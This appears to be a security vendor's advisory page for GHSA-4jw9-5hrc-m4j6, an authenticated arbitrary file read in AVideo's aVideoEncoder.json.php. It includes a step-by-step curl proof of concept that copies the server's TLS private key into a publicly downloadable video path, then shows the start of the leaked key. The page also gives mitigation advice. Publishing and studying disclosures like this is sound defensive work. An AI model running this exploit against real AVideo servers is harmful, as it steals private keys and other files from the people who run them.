GHSA-4jw9-5hrc-m4j6 is a high-severity (CVSS 7.6) CWE-73 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4jw9-5hrc-m4j6.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-4jw9-5hrc-m4j6 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.
For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.
I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.
Affected Versions / Commit
Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.
Preconditions
- Authenticated account with upload permission.
- Attacker owns at least one editable video record.
- Target local file is readable by the web application user.
Steps to Reproduce
- Log in as an upload-capable low-privileged user.
- Create any attacker-owned video via the normal upload endpoint to obtain
videos_idandfilename. - Send a POST request to
aVideoEncoder.json.phpwith the attacker's ownvideos_id, an allowedformat, and a server-localchunkFilepath. - Download the resulting media object from
/videos/<filename>/<filename>.mp4.
Proof of Concept
The included poc.py automates the exploit against the local instance.
Manual reproduction:
# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
-d 'user=attacker&pass=UserPass123!' \
http://127.0.0.1/objects/login.json.php >/dev/null
# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
-F '[email protected];type=video/mp4' \
http://127.0.0.1/view/mini-upload-form/upload.php
# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}
# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
-d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
http://127.0.0.1/objects/aVideoEncoder.json.php
# 4. Retrieve the copied file over HTTP
curl -s \
http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head
Observed Result
The final GET returned the contents of the local TLS private key:
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-4jw9-5hrc-m4j6 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-4jw9-5hrc-m4j6 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-4jw9-5hrc-m4j6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4jw9-5hrc-m4j6 in your dependencies?
O3 Security finds GHSA-4jw9-5hrc-m4j6 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.